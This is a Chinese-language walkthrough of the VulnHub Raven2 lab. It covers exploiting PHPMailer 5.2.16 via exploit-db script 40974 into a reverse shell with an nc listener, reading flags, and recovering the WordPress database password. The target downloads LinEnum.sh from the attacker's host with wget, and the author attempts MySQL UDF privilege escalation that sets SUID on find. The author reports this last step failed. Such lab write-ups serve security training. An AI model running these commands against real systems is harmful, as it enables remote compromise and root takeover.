vulnhub之Raven2

信息搜集

扫描网段发现存活主机

vulnhub之Raven2_第1张图片

 扫描IP地址发现开放端口以及服务

vulnhub之Raven2_第2张图片

 浏览器查看网站

vulnhub之Raven2_第3张图片各处功能点都点了点,除了一个登录界面也没有发现什么有用的信息

扫描网站目录

dirsearch -u http://192.168.179.161/

vulnhub之Raven2_第4张图片

可以看到这边信息泄露的还是挺多了,下面就需要细心的去挨个查看这些目录了

敏感信息泄露

vulnhub之Raven2_第5张图片

 vulnhub之Raven2_第6张图片

 找到flag1并且获取到网站根目录所在位置

然后我们查看该目录下的readme文件,看该目录到底是干嘛的

vulnhub之Raven2_第7张图片

 第一次见到phpmail,百度一下

vulnhub之Raven2_第8张图片

 然后查询该服务是否存在漏洞

vulnhub之Raven2_第9张图片

 好了,下面的目的就很清楚了,搞清楚phpmailer的版本,确定适用于哪个漏洞利用就可以了

vulnhub之Raven2_第10张图片

 漏洞发现

找到利用脚本并复制到本地

searchsploit PHPMailer 5.2.16
locate php/webapps/40974.py
scp usr/share/exploitdb/exploits/php/webapps/40974.py  /tmp
cd /tmp
ls -al

vulnhub之Raven2_第11张图片其实前三个都是一样的不过个人比较习惯使用py文件

vulnhub之Raven2_第12张图片

 查看脚本利用方法并利用脚本

 vim 40974.py

我按照它这个说明是执行不成功的,后来各种改了一下

这个加在最前面

#!/usr/bin/python
# -*- coding: utf-8 -*-
#####
因为有很多备注所以防止出现各种乱码

 

vulnhub之Raven2_第13张图片第二个就是修改target的IP地址,我一开始只是简单将IP地址改好后续怎么试都不行,后续进行多次尝试,因为phpmailer还是跟邮件服务相关嘛,所以就在contact.php页面输入信息并利用burpsuit抓包查看,看到了重定向信息

vulnhub之Raven2_第14张图片

 所以需要将target改为:http://192.168.179.161/contact.php

第三是将/backdoor.php改为shell.php(不能用默si字,但是我尝试别的名字的时候也不生效不知道为什么)

第四需要将目录信息中的/backdoor.php也改为shell.php

最后记得将攻击机的IP地址以及端口号改为kali的IP地址以及将要监听的端口号

vulnhub之Raven2_第15张图片

 直接在kali 中执行该脚本

python3 40974.py
nc -lvnp 1234 
####
然后先访问http://192.168.179.161/contact.php
然后访问http://192.168.179.161/shell.php

vulnhub之Raven2_第16张图片

 vulnhub之Raven2_第17张图片

利用漏洞

python -c "import pty;pty.spawn('/bin/bash')" 
cd /home
ls -al
cd michael
ls -al
cd steven
ls -al 
cd /root
###
建立交互式shell
查看家目录下还有哪些用户
进入一个普通用户并查看该目录下有哪些文件(没有flag)
进入另一个用户目录
没有文件
尝试进入root目录没有权限

寻找flag

vulnhub之Raven2_第18张图片

vulnhub之Raven2_第19张图片 

 

 全局搜索flag文件

cd /var/www/html
find / -name "flag*"

 vulnhub之Raven2_第20张图片

 vulnhub之Raven2_第21张图片

 得到flag2

cat /var/www/flag2.txt
flag2{6a8ed560f0b5358ecf844108048eb337}

 flag3

flag3是一个png文件也就是图片,所以我们在浏览器上查看

http://192.168.179.161/wordpress/wp-content/uploads/2018/11/flag3.png

vulnhub之Raven2_第22张图片

 提权

查看wordpress配置信息发现数据库账号密码

cd /var/www/html/wordpress
ls -al
cat wp-config.php
######
username:root
password:R@v3nSecurity

vulnhub之Raven2_第23张图片

vulnhub之Raven2_第24张图片

下载信息搜集脚本并运行找到提权方向

这次我们用的脚本是LinEnum.sh(需要下载):它可以从内核信息到定位可能的升级点(包括可能有用的SUID / GUID文件以及Sudo / rhost错误配置等等),都可以得到任何信息

python -m SimpleHTTPServer 8000     #kali起http服务
wget http://192.168.179.145:8000/LinEnum.sh  #目标主机下载到本地
chmod +x LinEnum.sh          #给执行权限
./LinEnum.sh                 #执行

这个脚本搜集的信息还是比较全面的,你如果仔细看的话可以发现几乎每一条信息都是我们要去搜集的,所以这就帮我们省了很多事,只需要耐心的去查看就好了

查到mysql提权相关信息

vulnhub之Raven2_第25张图片

 尝试MySQL udf提权

登录mysql查看数据库版本

 

mysql -u root -p
R@v3nSecurity

vulnhub之Raven2_第26张图片

找到适合版本的利用脚本

vulnhub之Raven2_第27张图片

 复制到本地编译好并下载到目标主机上

在本地编译好是防止目标主机上没有gcc环境

locate linux/local/1518.c
scp /usr/share/exploitdb/exploits/linux/local/1518.c /tmp 
gcc -g -c 1518.c
gcc -g -shared -o  raptor_udf.so 1518.o -lc

vulnhub之Raven2_第28张图片

 vulnhub之Raven2_第29张图片

 vulnhub之Raven2_第30张图片

 下载到目标主机

vulnhub之Raven2_第31张图片

开始提权

 mysql -u root -p
R@v3nSecurity
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf.so'));
create function do_system returns integer soname 'raptor_udf.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
exit
touch finn
id
find finn -exec "/bin/sh" \;
id

 后续本来就是执行数据库语句给调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令。但是我这边不知道是环境原因还是什么就是报错,我暂时还解决不了,就先到这吧

参考文章

https://blog.csdn.net/goujingya/article/details/101620193

https://www.cnblogs.com/backlion/p/10339299.html

https://blog.csdn.net/adminuil/article/details/103981106

 

你可能感兴趣的:(vulnhub靶场,靶机)